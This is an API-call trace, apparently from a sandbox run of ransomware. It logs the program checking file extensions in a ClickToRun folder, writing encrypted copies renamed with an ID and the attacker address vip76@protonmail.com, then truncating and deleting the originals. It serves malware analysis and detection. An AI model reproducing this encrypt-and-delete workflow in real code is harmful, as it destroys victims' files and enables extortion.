	[0078.921] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0078.921] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=1295576) returned 1
	[0078.921] CloseHandle (hObject=0x2c0) returned 1
	[0078.921] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20
	[0078.922] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.922] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0078.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0078.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0078.922] lstrlenW (lpString=".doc") returned 4
	[0078.922] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.922] lstrlenW (lpString=".docx") returned 5
	[0078.922] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1
	[0078.922] lstrlenW (lpString=".pdf") returned 4
	[0078.922] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.922] lstrlenW (lpString=".xls") returned 4
	[0078.922] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.922] lstrlenW (lpString=".xlsx") returned 5
	[0078.922] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1
	[0078.922] lstrlenW (lpString=".ppt") returned 4
	[0078.922] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0078.922] lstrlenW (lpString=".zip") returned 4
	[0078.922] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.922] lstrlenW (lpString=".rar") returned 4
	[0078.922] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.922] lstrlenW (lpString=".bz2") returned 4
	[0078.922] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.922] lstrlenW (lpString=".7z") returned 3
	[0078.922] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0078.922] lstrlenW (lpString=".dbf") returned 4
	[0078.922] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0078.923] lstrlenW (lpString=".1cd") returned 4
	[0078.923] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0078.923] lstrlenW (lpString=".jpg") returned 4
	[0078.923] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0078.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0078.923] lstrlenW (lpString=".doc") returned 4
	[0078.923] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.923] lstrlenW (lpString=".docx") returned 5
	[0078.923] lstrcmpiW (lpString1=".docx", lpString2="y.dll") returned -1
	[0078.923] lstrlenW (lpString=".pdf") returned 4
	[0078.923] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.923] lstrlenW (lpString=".xls") returned 4
	[0078.923] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.923] lstrlenW (lpString=".xlsx") returned 5
	[0078.923] lstrcmpiW (lpString1=".xlsx", lpString2="y.dll") returned -1
	[0078.923] lstrlenW (lpString=".ppt") returned 4
	[0078.923] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0078.923] lstrlenW (lpString=".zip") returned 4
	[0078.923] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.923] lstrlenW (lpString=".rar") returned 4
	[0078.923] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.923] lstrlenW (lpString=".bz2") returned 4
	[0078.923] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.923] lstrlenW (lpString=".7z") returned 3
	[0078.923] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0078.923] lstrlenW (lpString=".dbf") returned 4
	[0078.923] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0078.924] lstrlenW (lpString=".1cd") returned 4
	[0078.924] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned 72
	[0078.924] lstrlenW (lpString=".jpg") returned 4
	[0078.924] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.924] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.924] lstrlenW (lpString="AppVScripting.dll") returned 17
	[0078.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0078.925] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=512216) returned 1
	[0078.925] CloseHandle (hObject=0x2c0) returned 1
	[0078.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20
	[0078.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0078.925] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.925] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0078.925] GetLastError () returned 0x0
	[0078.925] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x7d0d8, lpOverlapped=0x0) returned 1
	[0078.939] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x7d0e0, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x7d0e0, lpOverlapped=0x0) returned 1
	[0079.153] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0079.153] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0079.153] SetEndOfFile (hFile=0x38c) returned 1
	[0079.153] CloseHandle (hObject=0x38c) returned 1
	[0079.163] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.163] SetEndOfFile (hFile=0x2c0) returned 1
	[0079.168] CloseHandle (hObject=0x2c0) returned 1
	[0079.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0079.168] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 1
	[0079.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0079.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0079.169] lstrlenW (lpString=".doc") returned 4
	[0079.169] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0079.169] lstrlenW (lpString=".docx") returned 5
	[0079.169] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0079.169] lstrlenW (lpString=".pdf") returned 4
	[0079.169] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0079.169] lstrlenW (lpString=".xls") returned 4
	[0079.169] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0079.169] lstrlenW (lpString=".xlsx") returned 5
	[0079.169] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0079.169] lstrlenW (lpString=".ppt") returned 4
	[0079.169] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0079.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0079.169] lstrlenW (lpString=".zip") returned 4
	[0079.169] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0079.169] lstrlenW (lpString=".rar") returned 4
	[0079.169] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0079.169] lstrlenW (lpString=".bz2") returned 4
	[0079.169] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0079.169] lstrlenW (lpString=".7z") returned 3
	[0079.169] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0079.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0079.169] lstrlenW (lpString=".dbf") returned 4
	[0079.169] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0079.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0079.169] lstrlenW (lpString=".1cd") returned 4
	[0079.169] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0079.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0079.171] lstrlenW (lpString=".jpg") returned 4
	[0079.171] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0079.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0079.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0079.171] lstrlenW (lpString=".doc") returned 4
	[0079.171] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0079.171] lstrlenW (lpString=".docx") returned 5
	[0079.171] lstrcmpiW (lpString1=".docx", lpString2="g.dll") returned -1
	[0079.171] lstrlenW (lpString=".pdf") returned 4
	[0079.171] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0079.171] lstrlenW (lpString=".xls") returned 4
	[0079.171] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0079.171] lstrlenW (lpString=".xlsx") returned 5
	[0079.171] lstrcmpiW (lpString1=".xlsx", lpString2="g.dll") returned -1
	[0079.171] lstrlenW (lpString=".ppt") returned 4
	[0079.171] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0079.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0079.171] lstrlenW (lpString=".zip") returned 4
	[0079.171] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0079.171] lstrlenW (lpString=".rar") returned 4
	[0079.171] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0079.171] lstrlenW (lpString=".bz2") returned 4
	[0079.171] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0079.171] lstrlenW (lpString=".7z") returned 3
	[0079.171] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0079.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0079.171] lstrlenW (lpString=".dbf") returned 4
	[0079.171] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0079.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0079.171] lstrlenW (lpString=".1cd") returned 4
	[0079.172] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0079.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned 75
	[0079.172] lstrlenW (lpString=".jpg") returned 4
	[0079.172] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0079.172] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0079.172] lstrlenW (lpString="C2R32.dll") returned 9
	[0079.172] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0079.172] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=820416) returned 1
	[0079.173] CloseHandle (hObject=0x2c0) returned 1
	[0079.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 0x20
	[0079.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0079.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0079.173] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.173] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0079.174] GetLastError () returned 0x0
	[0079.174] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0xc84c0, lpOverlapped=0x0) returned 1
	[0079.586] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xc84d0, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xc84d0, lpOverlapped=0x0) returned 1
	[0079.649] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0079.649] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0079.649] SetEndOfFile (hFile=0x38c) returned 1
	[0079.649] CloseHandle (hObject=0x38c) returned 1
	[0079.665] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0079.665] SetEndOfFile (hFile=0x2c0) returned 1
	[0079.672] CloseHandle (hObject=0x2c0) returned 1
	[0079.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0079.673] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\c2r32.dll")) returned 1
	[0079.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0079.673] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0079.673] lstrlenW (lpString=".doc") returned 4
	[0079.673] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0079.673] lstrlenW (lpString=".docx") returned 5
	[0079.673] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0079.673] lstrlenW (lpString=".pdf") returned 4
	[0079.673] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0079.673] lstrlenW (lpString=".xls") returned 4
	[0079.673] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0079.673] lstrlenW (lpString=".xlsx") returned 5
	[0079.673] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0079.673] lstrlenW (lpString=".ppt") returned 4
	[0079.673] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0079.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0079.674] lstrlenW (lpString=".zip") returned 4
	[0079.674] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0079.674] lstrlenW (lpString=".rar") returned 4
	[0079.674] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0079.674] lstrlenW (lpString=".bz2") returned 4
	[0079.674] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0079.674] lstrlenW (lpString=".7z") returned 3
	[0079.674] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0079.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0079.674] lstrlenW (lpString=".dbf") returned 4
	[0079.674] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0079.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0079.674] lstrlenW (lpString=".1cd") returned 4
	[0079.674] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0079.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0079.674] lstrlenW (lpString=".jpg") returned 4
	[0079.674] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0079.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0079.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0079.674] lstrlenW (lpString=".doc") returned 4
	[0079.674] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0079.674] lstrlenW (lpString=".docx") returned 5
	[0079.674] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1
	[0079.674] lstrlenW (lpString=".pdf") returned 4
	[0079.674] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0079.674] lstrlenW (lpString=".xls") returned 4
	[0079.674] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0079.674] lstrlenW (lpString=".xlsx") returned 5
	[0079.674] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1
	[0079.674] lstrlenW (lpString=".ppt") returned 4
	[0079.674] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0079.674] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0079.675] lstrlenW (lpString=".zip") returned 4
	[0079.675] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0079.675] lstrlenW (lpString=".rar") returned 4
	[0079.675] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0079.675] lstrlenW (lpString=".bz2") returned 4
	[0079.675] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0079.675] lstrlenW (lpString=".7z") returned 3
	[0079.675] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0079.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0079.675] lstrlenW (lpString=".dbf") returned 4
	[0079.675] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0079.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0079.675] lstrlenW (lpString=".1cd") returned 4
	[0079.675] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0079.675] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned 67
	[0079.675] lstrlenW (lpString=".jpg") returned 4
	[0079.675] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0079.675] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0079.675] lstrlenW (lpString="concrt140.dll") returned 13
	[0079.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0080.502] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2e9ff14 | out: lpFileSize=0x2e9ff14*=332968) returned 1
	[0080.502] CloseHandle (hObject=0x2c0) returned 1
	[0080.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll")) returned 0x20
	[0080.502] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0080.502] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0080.503] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.503] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e9fec0 | out: lpNewFilePointer=0x0) returned 1
	[0080.503] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\concrt140.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\concrt140.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0080.503] GetLastError () returned 0x0
	[0080.503] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x514a8, lpOverlapped=0x0) returned 1
	[0080.570] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0x514b0, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0x514b0, lpOverlapped=0x0) returned 1
	[0080.578] ReadFile (in: hFile=0x2c0, lpBuffer=0x39b4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e9fecc, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesRead=0x2e9fecc*=0x0, lpOverlapped=0x0) returned 1
	[0080.578] WriteFile (in: hFile=0x38c, lpBuffer=0x39b4020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2e9fc94, lpOverlapped=0x0 | out: lpBuffer=0x39b4020*, lpNumberOfBytesWritten=0x2e9fc94*=0xee, lpOverlapped=0x0) returned 1
	[0080.578] SetEndOfFile (hFile=0x38c) returned 1
